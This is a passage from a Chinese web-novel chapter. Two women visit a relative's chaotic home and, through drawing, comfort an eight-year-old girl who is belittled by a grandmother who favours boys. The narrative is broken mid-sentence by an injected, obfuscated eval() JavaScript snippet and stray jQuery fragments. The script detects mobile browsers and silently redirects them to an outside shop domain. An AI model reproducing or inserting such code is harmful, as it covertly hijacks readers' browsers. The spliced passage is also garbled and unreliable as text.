衣服横七竖八地塞在里面,还有鞋盒,左下角甚至还有个吸尘器。
衣柜里满满当当,没有一点缝隙。如同被炸弹炸过,绑匪抢劫过一样。
沈湘暖长这么大,一共就开过两个外人的衣柜。
一个是黎思洋,另一个就是现在。
两次都意想不到,一个极度整洁按颜色排序,一个极度杂乱无章仿佛垃圾回收站。
沈湘暖回头看向唐霜:“唐霜,你看看。”
此时沈湘暖注意到,小文居然在帮唐霜给弟弟换尿不湿。
唐霜看到衣柜里的景象也傻眼了。
她来到衣柜前,上下打量:“老夫遍寻多年,终于找到能超越我的人。”
沈湘暖知道唐霜在夸张,唐霜虽然乱,但和眼前比起来完全不是一个等级。
简直是小巫见大巫。
二人在小文的协助下翻找出尿不湿,给弟弟换上。
沈湘暖已经推断出唐霜哥嫂的“作案过程”。
听说二人要来,唐霜哥嫂便把散乱在外的衣物、杂物塞到衣柜里。可他们忘记尿不湿放在衣柜里,各种衣物把尿布压在里面了。
换好尿布后,唐霜侄子睡着了。
沈湘暖往隔壁小文的房间看了一下,想起她刚才帮弟弟换尿布的场景,说道:“唐霜,我去买菜吧。”
“别去,现在一点多,多热啊。”
沈湘暖心里有别的主意,在她的坚持下,唐霜没拗过她。
走出楼门口,一股热浪滚滚而来。拎着菜走了一会,沈湘暖已经汗流浃背,仿佛置身于蒸笼中。
回到家后,唐霜侄子还在睡觉。
“都说了让你别出去,多热啊。”唐霜嗔怪地说道。
“没事,小文还在写作业吗?”
唐霜说道:“小学二年级不留作业,她在自己屋里玩呢。”
沈湘暖说道:“我觉得小文总是闷闷不乐,而且,太懂事了。”
唐霜说道:“我也发现了,她居然会换尿不湿,还主动帮咱找尿不湿,尿不湿放哪她都知道。”
虽然平时接触不算多,但毕竟是自己的侄女,唐霜面色凝重地说道:“8岁小孩什么样我太清楚了,我们学校那些孩子,别说给别人换尿不湿,8岁还有尿裤的呢。
还有的上课坐不住,站起来绕教室走一圈。”
“啊?”沈湘暖目瞪口呆。
“他们不理解上课需要坐着,不理解上课还得听讲。”
原来如此。
唐霜说道:“我哥哥嫂子是大学恋爱……”
在唐霜的讲述下,沈湘暖得知事情的来龙去脉。
唐霜哥哥嫂子是大学恋爱。毕业后,二人都被理想公司录取。
唐霜嫂子此时却意外发现,自己怀孕了。
哥哥嫂子打算以工作为重,过几年结婚要孩子。
哥哥的妈妈,也就是唐霜二姨知道后,抱孙心切。巧克力加皮鞭,连哄带骗的对唐霜嫂子一通洗脑,二人结婚生子。
怀孕期间,唐霜二姨对嫂子很是照顾。
结果发现是个女孩子,在产房外当场翻脸。月子照顾到一半,就跑了。她不照顾嫂子,也不允许请月嫂,住月子中心。
最后还是嫂子爸妈从外地赶来照顾的。
可嫂子上面还有个哥哥,已经结婚生子,嫂子爸妈平时要帮哥哥带孩子。
照顾嫂子月子,嫂子哥哥的媳妇已经不高兴,逼迫二老回去给她带孩子,她好去上班。
无奈,照顾小文的重任落在嫂子一人身上,因此,嫂子没法上班。
听到这里的沈湘暖问道:“那你表哥呢?”
唐霜说道:“他就是个妈宝男。”
大学时的嫂子看重表哥温柔,可是没想到,温柔的男人之所以温柔,是因为上面有个强势的妈妈。
唐霜二姨不和表哥嫂子住一起,却事事要管,表哥的工资都要给她保管。
美其名曰:“妈给你攒着。”
实际上都做生意投进去了。
也就是生下唐霜侄子后,表哥才拿回工资归属权。
表哥本就不愿意一毕业就当爸爸,觉得孩子扰乱他的生活,始终对孩子缺乏责任感。
或者说他在逃避。
在家里就是个什么都不管的甩手掌柜。
嫂子本想等小文大些就去上班,却被唐霜二姨逼迫不生出孙子别想出去。以各种手段相要挟。
唐霜嫂子一开始还好,最近这些年也都不怎么管孩子。
沈湘暖猜想:
唐霜嫂子可能多少有些产后抑郁。不收拾屋子,各种垃圾乱扔,其实已经是心理产生问题的一种表现。
沈湘暖问道:“那生出儿子后,你嫂子为什么不去上班呢?”
唐霜说道:“因为我二姨要他们生三胎。”
这是谁过日子?
唐霜哥哥本就懦弱,嫂子则在日复一日期待与失落中彻底放弃对人生的追逐。
一个刚毕业的女大学生一下子被要求在家带孩子,明知因为带孩子可能会造成职业空白以后不好找工作,却没有人能帮她。
爸妈远在外地,婆婆不帮带还事事要管着她,丈夫整日逃避,他自己还是个孩子。
就在这一天天的蹉跎中熬到今天。
沈湘暖长叹口气。
唐霜说道:“我妈他们其实说过我二姨,可是油盐不进,什么男女平等,在她眼里都是狗屁。”
沈湘暖说道:“咱们是不是应该和你侄女玩会。”
唐霜二姨重男轻女,小文这么懂事,猜都能猜出小文平时怎么过的。
“你想的是给孩子空间,但在孩子眼里,可能是我们只照顾弟弟,不喜欢她。”
听到沈湘暖的话,唐霜仔细想了想:“你说的对。”说罢,抱起熟睡中的侄子,带领沈湘暖来到小文房间。
“小文,”唐霜把侄子放到床上,盖上毛巾被,“你在做什么,在画画吗?”
“嗯。”小文点头。
小文低头画画,没再理会二人。
二人来到小文身边,唐霜看向沈湘暖,示意她说些什么。
沈湘暖明白唐霜的意思:“小文,你这朵花如果画成粉色的也可以。”
小文的花是棕色的。
唐霜说道:“小姑姑是个漫画家,我想,小文可以试试她说的。”
小文抬头看看唐霜,低头拿起粉色蜡笔,在纸上画
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788932|210293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一下:“这样吗?”
沈湘暖说道:“就是这样,小文画得真好。”
一朵粉色小花画好。
沈湘暖耐心引导:“花可以是粉色的,树也可以是粉色的。”
小文手拿蜡笔,看着沈湘暖,眼神一颤:“树也可以是粉色的?”
“对,小文要不要试试呢?”
“嗯。”小文直接画起来。
“好漂亮。”唐霜感叹道。
小文很有画画天份,线条、构图都很好,就是色彩,都是冷色调。
小文把画递给沈湘暖,沈湘暖说道:“小文画的真好,我像你这么大时,画得可没这么好,我是长大之后才画得这么好的。”
小文一听这话,眼睛亮起来:“长大之后就可以画得更好吗?”
“对,只要你勤加练习,长大后会比我画得好。”
沈湘暖是在给小文一个想长大的盼头。不愿她像唐霜嫂子一样,对生活失去希望。
沈湘暖说道:“这些蜡笔颜色,都用来画一棵树怎么样?”
“所有的?”
“对,所有的。”
半个小时后,一副五颜六色的“彩树图”诞生。
唐霜拿起画纸:“真的好漂亮,姑姑从来不知道这世界上还有这么多颜色的树,小文你是怎么知道的呢?”
小文害羞得缩了下脖子,随即笑起来。
“姑姑班上的同学没有一个比你画得好,啊,不对,有一个比你好。”
小文立马竖起耳朵。
“他是拿到全市少年儿童绘画比赛金奖的小哥哥,比你大三岁,姑姑希望,以后你可以超越他。”
小文露出一副期待又有些不自信的表情。
沈湘暖见状,小声说道:“我偷偷告诉你,你姑姑班上的同学都可笨了,那个小哥哥也特别笨。”
小文问道:“那他为什么还能拿奖?”
唐霜连忙说道:“因为他是最勤奋的,而且,我告诉你,小文你是我见过所有学生里最聪明的。”
小文愣怔在原地,坐在椅子上一言不发,良久说道:“可是奶奶说我很笨,说我是个笨孩子,爸爸妈妈一反驳她,奶奶就会罚我说100遍‘我是个笨孩子’,要不然就不给我们生活费。”
二人皆是瞠目结舌。
沈湘暖感觉自己的表情都凝固了。
唐霜手里握紧画纸,心疼地一把抱住小文:“别听你奶奶的话,她的话就是放狗屁。”
她手里还拿着画纸,松开小文,低下头,双手扶住小文肩膀:“姑姑是最好的小学的老师,姑姑和你保证,你是姑姑见过最聪明的小孩。”
唐霜伸手挡住嘴,冲小文耳朵小声说道:“我偷偷告诉你,你奶奶小学都没上完就被开除了。”
小文一脸惊讶又惊喜地问道:“真的吗,为什么?”
唐霜说道:“因为她太笨了。”
小文捂着嘴笑起来。
唐霜说道:“这是秘密,不许告诉别人,包括你爸妈。”
“拉钩上吊一百年不许变。”
三人拉钩约定不告诉任何人。
沈湘暖掏出裙子口袋里的东西:“现在进行下一个节目。”